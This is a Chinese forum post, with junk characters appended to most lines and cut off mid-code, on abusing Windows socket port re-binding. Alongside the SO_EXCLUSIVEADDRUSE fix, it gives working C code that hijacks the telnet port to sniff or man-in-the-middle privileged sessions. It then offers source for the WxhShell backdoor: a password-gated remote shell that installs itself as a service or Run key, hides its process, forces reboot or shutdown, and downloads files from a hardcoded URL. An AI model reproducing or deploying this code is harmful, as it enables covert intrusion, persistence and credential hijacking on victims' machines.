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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: X6%w6%su5  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); DbFTNoVR  
w35r\x +  
  saddr.sin_family = AF_INET; {X<mr~  
7F.t>$'  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); U8kH'OD  
!tBNA  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 7 N+;K0  
*`[dC,+`.  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Px5ArSS  
ivsp):W  
  这意味着什么?意味着可以进行如下的攻击: ~` v 7  
@kC>+4s!  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 l j*ELy  
<n< @ O5  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) fRC(Yyx  
gsd9QW  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ja*k\w{U'  
tJo,^fdfv  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。   `W< 7.  
&-W5 T?Sl  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 2f ]CnD0$  
w~@.&  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 3/mVdU?U  
QPjmIO  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 :Jwc'y-]  
]YYjXg}%  
  #include (-Rh%ZHH  
  #include :D6"h[7  
  #include xiuAW  
  #include    aG;6^$H~  
  DWORD WINAPI ClientThread(LPVOID lpParam);   |xy r6gY  
  int main() U;o[>{L   
  { X~t]qT  
  WORD wVersionRequested; J"'2zg1&  
  DWORD ret; ~(kIr? ^  
  WSADATA wsaData; YUd*\_  
  BOOL val; j$<uE{c  
  SOCKADDR_IN saddr; L8n1p5 gx3  
  SOCKADDR_IN scaddr; FDM&rQ  
  int err;  ZeD;  
  SOCKET s; 4mSL*1j  
  SOCKET sc; vUl5%r2O4  
  int caddsize; HubSmbS1  
  HANDLE mt; C-4NiXa  
  DWORD tid;   -=,%9r  
  wVersionRequested = MAKEWORD( 2, 2 ); [?$ZB),L8  
  err = WSAStartup( wVersionRequested, &wsaData ); 0 ;kcSz  
  if ( err != 0 ) { Z)Y--`*  
  printf("error!WSAStartup failed!\n"); 2MwR jh_  
  return -1; c(Zar&z,E  
  } K}ACZT)Wp  
  saddr.sin_family = AF_INET; Dv?'(.z  
   jV)!9+H#  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 bG=CIa&@  
s.+2[R1HF  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); #=/eu=  
  saddr.sin_port = htons(23); Y, K): ~T  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^/\OS@CT\  
  {  ^! /7  
  printf("error!socket failed!\n"); l4u@0;6P  
  return -1; V!G&Aen  
  } -G&>b D  
  val = TRUE; }LQ*vD-Jj  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Q >[*Y/`I  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) i>6SY83B}  
  { e:}8|e~T  
  printf("error!setsockopt failed!\n"); Q#P=t83  
  return -1; -IhFPjQ  
  } $~c?qU  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; c7T9kV 8hS  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Gb+cT  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 %J4]T35^2  
3`_jNPV1  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) qCK)FOU  
  { [C d"@!yA  
  ret=GetLastError(); [tDUR  
  printf("error!bind failed!\n"); % INRds  
  return -1; B%!z7AT  
  } 2zR*`9$  
  listen(s,2);  9],;i7c  
  while(1) 3;=nQ{0b  
  { :gv`)  
  caddsize = sizeof(scaddr); )\_xB_K\  
  //接受连接请求 yA_;\\  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); :/fG %e  
  if(sc!=INVALID_SOCKET) x][vd^iW  
  { 1BQTvUAA  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); |gEA.} pY  
  if(mt==NULL) rm2"pfs  
  { %98F>wl  
  printf("Thread Creat Failed!\n"); /!ZeMY:x  
  break; ,?i^i#Wqzg  
  } YAnt}]u!"  
  } M iIH&z  
  CloseHandle(mt); _.0c~\VA  
  } 3n9$qr= '  
  closesocket(s); p'1n'|$e  
  WSACleanup(); E 5}T_~-{  
  return 0; )3v0ex@Jl  
  }   *0M#{HQ  
  DWORD WINAPI ClientThread(LPVOID lpParam) U I|L;5  
  { D.xN_NK"  
  SOCKET ss = (SOCKET)lpParam; Frn#?n)S9  
  SOCKET sc; 9PhdoREb  
  unsigned char buf[4096]; @<Au|l`  
  SOCKADDR_IN saddr; TuY{c%qQ:  
  long num; \W;~[-"#  
  DWORD val; }/BwFB+(/  
  DWORD ret; ?TLEZlB2"  
  //如果是隐藏端口应用的话,可以在此处加一些判断 K0 .f4 o  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   LB%_FT5  
  saddr.sin_family = AF_INET; K6=-Zf  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); |Axg}Q|  
  saddr.sin_port = htons(23); J'^s5hxn+0  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 06*R)siC  
  { 2{c ;ELq  
  printf("error!socket failed!\n"); +kTAOf M  
  return -1; ,pir,Eozg  
  } .E!7}O6  
  val = 100; M`\c'|i/  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) '"QC^Joz  
  { {n%-^9b1{&  
  ret = GetLastError(); \lHi=}0  
  return -1; OqUEj 0X  
  } wqBGJ   
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 1Lwi?~!LI  
  { C3-l(N1O{  
  ret = GetLastError(); pVn 6>\xa  
  return -1; f]"][!e!,  
  } USu/Y29  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) (FZL>  
  { ==(9P`\  
  printf("error!socket connect failed!\n"); 7|PpAvMF  
  closesocket(sc); #G{}Rd|!  
  closesocket(ss); b_ Sh#d&  
  return -1; 0TU~Q  
  } uoFH{.)  
  while(1) #/sKb2eQ  
  { u,[Yaw"L  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 K,tmh1  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 R?+Eo(0q,  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 eJ)Bs20Q  
  num = recv(ss,buf,4096,0); g. f!Uc{  
  if(num>0) Mo &Ia6^  
  send(sc,buf,num,0); #O]F5JB  
  else if(num==0) >#dNXH]9  
  break; VA4vAF  
  num = recv(sc,buf,4096,0); 5b9_6L6  
  if(num>0) =%Gecj  
  send(ss,buf,num,0); R?1;'pvpa[  
  else if(num==0) X obiF  
  break; Tz58@VYV  
  } `ea;qWy  
  closesocket(ss); CZE5RzG  
  closesocket(sc); t)g1ICt  
  return 0 ; ~$#DB@b  
  } f[ GH  
s2g}IZfo  
]tH/87qJ  
========================================================== y% uUA]c*m  
@Qd6a:-6  
下边附上一个代码,,WXhSHELL X;sl?8HG!<  
`Q1T-H_  
========================================================== #!h:w  
oe`o UnN  
#include "stdafx.h" T2Cdw\  
+OK.[ji?  
#include <stdio.h> fMwJwMT8  
#include <string.h> 8kAG EiC  
#include <windows.h> g]iWD;61  
#include <winsock2.h> /fA:Fnv  
#include <winsvc.h> td q;D  
#include <urlmon.h> T*\'G6e  
TWl':}  
#pragma comment (lib, "Ws2_32.lib") jnt0,y A  
#pragma comment (lib, "urlmon.lib") X1:|   
65N;PH59D  
#define MAX_USER   100 // 最大客户端连接数 bjPI:j*XU  
#define BUF_SOCK   200 // sock buffer n5 @H  
#define KEY_BUFF   255 // 输入 buffer s \#kqw\x  
Z i$a6  
#define REBOOT     0   // 重启 ujB:G0'r  
#define SHUTDOWN   1   // 关机 -`]B4Nt6  
TuwH?{ FzK  
#define DEF_PORT   5000 // 监听端口 o; 6\  
Po&gr@e.V  
#define REG_LEN     16   // 注册表键长度 T_6,o[b8  
#define SVC_LEN     80   // NT服务名长度 RmO-".$yt  
c;w cgU  
// 从dll定义API Y%p"RB[  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); tb AN{pX  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !OPK?7   
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $q DH  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Gw!jYnU  
W6&" .2  
// wxhshell配置信息 [:a;|t  
struct WSCFG { :~:(49l  
  int ws_port;         // 监听端口 Mb3,!  
  char ws_passstr[REG_LEN]; // 口令 +%eMm.(  
  int ws_autoins;       // 安装标记, 1=yes 0=no ,V)yOLApVj  
  char ws_regname[REG_LEN]; // 注册表键名 vkE6e6,Qc  
  char ws_svcname[REG_LEN]; // 服务名 nE]R0|4h  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 $k@reN9  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 9XF+? x  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 :CSys62  
int ws_downexe;       // 下载执行标记, 1=yes 0=no mn*.z!N=  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" q ]rsp0P2  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -{pcb7.xuv  
E~2}rK+#)  
}; ]5x N^7_!j  
KmEm  
// default Wxhshell configuration 7\JRHw  
struct WSCFG wscfg={DEF_PORT, o&rejj#  
    "xuhuanlingzhe", /,2Em>  
    1, iK(n'X5i  
    "Wxhshell", Mh>^~;  
    "Wxhshell", &kXf)xc<~  
            "WxhShell Service", R JnRbaC  
    "Wrsky Windows CmdShell Service", 2aW&d=!ZV  
    "Please Input Your Password: ", S`K8e^]  
  1, dy, ,x  
  "http://www.wrsky.com/wxhshell.exe", T*J]e|aF  
  "Wxhshell.exe" 0u QqPF t  
    }; Wxb/|?,  
hX$k8 o0  
// 消息定义模块 GpN tvo~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; s=~r. x  
char *msg_ws_prompt="\n\r? for help\n\r#>"; `P)atQ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _R]la&^2F\  
char *msg_ws_ext="\n\rExit."; rxIfatp^  
char *msg_ws_end="\n\rQuit."; *7nlel  
char *msg_ws_boot="\n\rReboot..."; <bXfjj6YJ@  
char *msg_ws_poff="\n\rShutdown..."; "1&C\}.7  
char *msg_ws_down="\n\rSave to "; #]:yCiA  
TTmNPp4q  
char *msg_ws_err="\n\rErr!"; `DC)U1  
char *msg_ws_ok="\n\rOK!"; zvdtP'&uj  
~( -B%Az  
char ExeFile[MAX_PATH]; rh${pHl  
int nUser = 0; 3VB{Qj  
HANDLE handles[MAX_USER]; $eX; 2  
int OsIsNt; 0#G&8*FMN  
m-5Dbx!j  
SERVICE_STATUS       serviceStatus; zYYc#N/  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; +x-n,!(  
477jS6^e&  
// 函数声明 tE9%;8;H  
int Install(void); B:&/*HU  
int Uninstall(void); H;G*tje/M  
int DownloadFile(char *sURL, SOCKET wsh); 5=., a5  
int Boot(int flag); (3%NudkwT  
void HideProc(void); \.9-:\'(  
int GetOsVer(void); "npj%O<bd  
int Wxhshell(SOCKET wsl); )<1M'2  
void TalkWithClient(void *cs); ] 5YG*sD4  
int CmdShell(SOCKET sock); LC*@ /((  
int StartFromService(void); bxc#bl3  
int StartWxhshell(LPSTR lpCmdLine); mj%Iow.  
)e4nKh],  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [FAoC3 k-h  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); -_%n\#  
9-Qu b+0o  
// 数据结构和表定义 K {!eHTU  
SERVICE_TABLE_ENTRY DispatchTable[] = |mc!v*O  
{ Y2yVl+  
{wscfg.ws_svcname, NTServiceMain}, Av _1cvR:  
{NULL, NULL} o\g",O4-  
}; Sl   
^E{~{  
// 自我安装 \H*"UgS  
int Install(void) @Ej{sC!0T  
{ z./u;/:  
  char svExeFile[MAX_PATH]; g.s~Ph-G  
  HKEY key; o D*h@yL  
  strcpy(svExeFile,ExeFile); km}%7|R?  
+smPR  
// 如果是win9x系统,修改注册表设为自启动 ^$6EO) <  
if(!OsIsNt) { )C<c{mjk(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { RnIL>Akp  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); n>+M4Zb  
  RegCloseKey(key); n3g3(} Q0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2J|Wbey  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _Sosw|A  
  RegCloseKey(key); P,j)m\|  
  return 0; =sG  C  
    } B7fURL Rqr  
  } Qg%B<3 <  
} R8W{[@  
else { hof:36 <  
|jU/R  
// 如果是NT以上系统,安装为系统服务 egYJ.ZzF0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); W-<C%9O!  
if (schSCManager!=0) mKvk6OC  
{ *<i { Mb Q  
  SC_HANDLE schService = CreateService vc^qpOk  
  ( SYw>P1  
  schSCManager, va:5pvt2&  
  wscfg.ws_svcname, KaauX m  
  wscfg.ws_svcdisp, f]qP xRw  
  SERVICE_ALL_ACCESS, :;#^h]Q  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `$AX!,<!G  
  SERVICE_AUTO_START, H CZ#7Z  
  SERVICE_ERROR_NORMAL, h&{9 &D1t  
  svExeFile, ,*+F*:o(m  
  NULL, [as\>@o  
  NULL, ]KA|};>ow  
  NULL, ^$FHI_  
  NULL, AcwLs%'sx  
  NULL f2`[skNj  
  ); dli?/U@hO  
  if (schService!=0) Ww{bh -nyq  
  { ,?3r-bM  
  CloseServiceHandle(schService); &j<B22t!  
  CloseServiceHandle(schSCManager); mcP]k8?C  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); -S"YEH9  
  strcat(svExeFile,wscfg.ws_svcname); ,_!pUal  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ;*BG{rkr  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Q=)$  
  RegCloseKey(key); fk<0~ tE  
  return 0; 9G[!"eZ}  
    } U6t>UE6k  
  } {dH87 nt  
  CloseServiceHandle(schSCManager); u<!8dQ8  
} 4[44Eku\  
} _s[ohMlh  
u3a"[DB9c  
return 1; ?xWO>#/  
} ': 87.8$  
o+*YX!]#L  
// 自我卸载 p`fUpARA!  
int Uninstall(void) g=0`^APql  
{ AU -,  
  HKEY key; A_tdtN<  
>=G;rs  
if(!OsIsNt) { tda#9i[pkH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -,)&?S  
  RegDeleteValue(key,wscfg.ws_regname); `aD~\O  
  RegCloseKey(key); mXtsP1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l ~b# Y&  
  RegDeleteValue(key,wscfg.ws_regname); ?NOc]'<(G  
  RegCloseKey(key); -|bnvPmE  
  return 0; M4w,J2_8MK  
  } F{WV}o=MY  
} r5M {*  
} }^ +E S^~  
else { Q bjO*:c4  
w &1_k:Z&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !nQ_<  
if (schSCManager!=0) P(a!I{A(  
{ mEeD[dMN  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 3k(A&]~v  
  if (schService!=0) y-6k<RN  
  { *'H0%GM  
  if(DeleteService(schService)!=0) { &b'IYoe  
  CloseServiceHandle(schService); J~Uq'1?  
  CloseServiceHandle(schSCManager); 97l<9^$  
  return 0;  Gf_Je   
  } ?41bZ$j  
  CloseServiceHandle(schService); #Z#rOh  
  } C jISU$O  
  CloseServiceHandle(schSCManager); $9YAq/#Q  
} NX%"_W/W  
} NOM6},rp  
akATwSrU  
return 1; i=T!4'Zu  
} Tsg;i;  
.;}vp*  
// 从指定url下载文件  UCV1{  
int DownloadFile(char *sURL, SOCKET wsh) !0!m |^c5  
{ $ha,DlN  
  HRESULT hr;  vX1 8 ]  
char seps[]= "/"; B6ee\23  
char *token; C$WUg<kcK'  
char *file; r&+8\/{  
char myURL[MAX_PATH]; +i^@QNOa  
char myFILE[MAX_PATH]; opsjei@  
xl2;DFiYt  
strcpy(myURL,sURL); %])U(  
  token=strtok(myURL,seps); w_qX~d/  
  while(token!=NULL) V1di#i:  
  { o-i9 :AHs  
    file=token; .3>`yL  
  token=strtok(NULL,seps); iOY: a  
  } uJ-Q]yQ  
A\ARjSdb  
GetCurrentDirectory(MAX_PATH,myFILE); '^B[Krs'Z`  
strcat(myFILE, "\\"); Cq8.^=}_  
strcat(myFILE, file); 8! eYax   
  send(wsh,myFILE,strlen(myFILE),0); [GQn1ZLc  
send(wsh,"...",3,0); Rtpk_ND!  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9U&~H*Hf  
  if(hr==S_OK) 42$ pvw<  
return 0; 8k +^jj  
else =EFCd=i  
return 1; v}\4/u  
_4,/uG|a O  
} CCDU5l$$  
#mKF)W  
// 系统电源模块 sbv2*fno5  
int Boot(int flag) OFe-e(c1  
{ @*e5(@R  
  HANDLE hToken; =$mPReA3v  
  TOKEN_PRIVILEGES tkp; EDAtC  
Jlp nR#@  
  if(OsIsNt) { Sf*1Z~P|  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); V#X#rDfJZ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); .n[;H;  
    tkp.PrivilegeCount = 1; bT>MZK8b  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; aAKwC01?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); )iX2r{  
if(flag==REBOOT) { U}T{r%9  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) moS0y?N  
  return 0; QjOO^6Fh  
} QL]e<2oPJ  
else { jQBL 8<  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) e dTFk$0  
  return 0; a\-AGG{2/X  
} :A7\eN5  
  } dJv2tVm&'  
  else { ?}RPn f  
if(flag==REBOOT) { +>3jMs~&  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [s4|+  
  return 0; tn{YIp   
} :a/l9 m(  
else { O NVhB  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ff&jR71E  
  return 0; -wa"&Q  
} @yM$Et5  
} R_^0Un([  
+Jm~Um!  
return 1; NC%96gfD  
} 60TM!\  
<$(y6+lY  
// win9x进程隐藏模块 }1 ,\ *)5  
void HideProc(void) ]sTbEw.[  
{ s<>d& W 0=  
sZx`u+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); A^ofs*"Y  
  if ( hKernel != NULL ) "%}24t%  
  { >{S ~(KxK  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); A!cY!aQ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :6MV@{;PJ  
    FreeLibrary(hKernel); xv"v='  
  } dBw7l}  
|yl,7m/B-G  
return; ''dS {nQs  
} =MU(!`  
]ur?i{S,  
// 获取操作系统版本 {p.^E5&  
int GetOsVer(void) &@K6;T  
{ b)eoFc)lc  
  OSVERSIONINFO winfo; 1etT."  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9(3]t}J5 d  
  GetVersionEx(&winfo); )SZzA'  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) QLH!>9Ch  
  return 1; !RP0W  
  else >?O?U=:<  
  return 0; IR:GoD+  
} 7Kf  
jW]"Um-]  
// 客户端句柄模块 >AFQm  
int Wxhshell(SOCKET wsl) e |K_y~  
{ I cASzSjYX  
  SOCKET wsh; m%0_fNSJ  
  struct sockaddr_in client; N a$.VT  
  DWORD myID; =r4sF!g  
 ZC]|s[  
  while(nUser<MAX_USER) NH;e|8  
{ f&j\gYWq  
  int nSize=sizeof(client); A9lw^.  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); eC"k-a8j+  
  if(wsh==INVALID_SOCKET) return 1; |8pSMgN  
denxcDFu/~  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); {#st>%i  
if(handles[nUser]==0) jzJQ/ZFS  
  closesocket(wsh); 4> uNH5  
else n }b{u@$  
  nUser++; ^k*%`iQ  
  } [>N#61CV 5  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 0SU v5c  
p>,D F9W`  
  return 0; g$ HL::  
} i=L 86Ks  
x <a}*8"  
// 关闭 socket I{ Ip  
void CloseIt(SOCKET wsh) : tBe/(e4#  
{ )RN3Oz@H  
closesocket(wsh); =;+gge!?bB  
nUser--; O|S,="h"}  
ExitThread(0); L(bDk'zi  
} v4Wq0>o  
] )iP?2{  
// 客户端请求句柄 >fMzUTJ4  
void TalkWithClient(void *cs) d5NE:%K  
{ sj4\lpZ3h  
L pq)TE#  
  SOCKET wsh=(SOCKET)cs; X{Fr  
  char pwd[SVC_LEN]; o{>4PZ}=g  
  char cmd[KEY_BUFF]; X1d{7H8A2  
char chr[1]; 5kGQf  
int i,j; je@&|9h  
(a0(ZOKH  
  while (nUser < MAX_USER) { Mk~U/oq  
e]nP7TIU  
if(wscfg.ws_passstr) { T ay226  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Auc&dpW  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'Kk/ J+6U  
  //ZeroMemory(pwd,KEY_BUFF); >;XtJJS  
      i=0; [ :)F-  
  while(i<SVC_LEN) { CuK>1_Dq  
hP8w3gl_  
  // 设置超时 0r_~LN^|[  
  fd_set FdRead; Oe x   
  struct timeval TimeOut; ]h~F%   
  FD_ZERO(&FdRead); i9Beap/t$  
  FD_SET(wsh,&FdRead); BdMd\1eMw  
  TimeOut.tv_sec=8; H#7=s{u  
  TimeOut.tv_usec=0; *Lxt{z`9  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); c0Bqm  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); wm^1Fn--  
*+zFsu4l  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w,X)g{^T  
  pwd=chr[0]; SHs [te[  
  if(chr[0]==0xd || chr[0]==0xa) { Lc?"4  
  pwd=0; g%tUkM  
  break; VQ,5&-9Y3  
  } )^BZ,e  
  i++; akk*f+TD`  
    } kkfBVmuW  
2*^=)5Gj-h  
  // 如果是非法用户,关闭 socket |JR`" nF`  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `k>C%6FG$#  
} g)\Tex<  
Op8Gj  `  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); b+q'xnA=>  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *^Zt)U1$|  
Kp*3:XK  
while(1) { f[D%(  
X31%T"  
  ZeroMemory(cmd,KEY_BUFF); 0C.5Qx   
4CchE15  
      // 自动支持客户端 telnet标准   \pkK >R  
  j=0; cuH5f}oc  
  while(j<KEY_BUFF) { EZ{{p+e ^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5Pq6X  
  cmd[j]=chr[0]; 9od c :  
  if(chr[0]==0xa || chr[0]==0xd) { N<@K(? '  
  cmd[j]=0; `q\F C[W  
  break; mi$C%~]5m  
  } @I|kY5'c  
  j++; 4[#)p}V  
    } @67GVPcxl  
0 LXu!iix  
  // 下载文件 9mp`LT  
  if(strstr(cmd,"http://")) { ~CHcbEWk)W  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); |EdEV*.ej  
  if(DownloadFile(cmd,wsh)) n:B){'S  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); jbq x7x  
  else <m^a ?q^  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *1!'ZfT;  
  } w)* H&8h@  
  else { =BN<)f^*s  
+|b#|>6  
    switch(cmd[0]) { 6w? GeJ  
  'hPW#*#W<  
  // 帮助 g]JRAM  
  case '?': { 8RuW[T?  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); TghT{h@  
    break; X^dasU{*  
  } 0sA`})Dk  
  // 安装 E+EcXf  
  case 'i': { !<=(/4o&P  
    if(Install()) 5 (!FQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /2E Q:P  
    else -O,:~a=*_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S&-F(#CF^  
    break; ;7EeRM*  
    } 5#x[rr{^*  
  // 卸载 9>0OpgvC(  
  case 'r': { nu:l;+,VY  
    if(Uninstall()) cUP1Uolvn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O"|d~VQ  
    else .b`8 +  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9{ge U9&Z  
    break; nh0gT>a>@  
    } <+r~?X_  
  // 显示 wxhshell 所在路径 8+7*> FD)1  
  case 'p': { RTvOaZ  
    char svExeFile[MAX_PATH]; (e~9T MY  
    strcpy(svExeFile,"\n\r"); |OAiHSW"V  
      strcat(svExeFile,ExeFile); BMQ4i&kF|  
        send(wsh,svExeFile,strlen(svExeFile),0); ~N}Zr$D  
    break; 4,W,E4 7  
    } cZ !$XXA`  
  // 重启 }@jJv||  
  case 'b': { qhG2j;  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); mJd8?d  
    if(Boot(REBOOT)) "[k>pzl6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yMM2us#*+q  
    else { b@=H$"  
    closesocket(wsh); ]8OmYU%6V  
    ExitThread(0); <KtL,a=2+  
    } 0FH.=   
    break; hP{+`\&<f  
    } Il>o60u1  
  // 关机 0~_I9|FN  
  case 'd': { k:iy()n[  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ollVg/z  
    if(Boot(SHUTDOWN)) J#j3?qrxu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q(Q?L5  
    else { 7LM&3mA<  
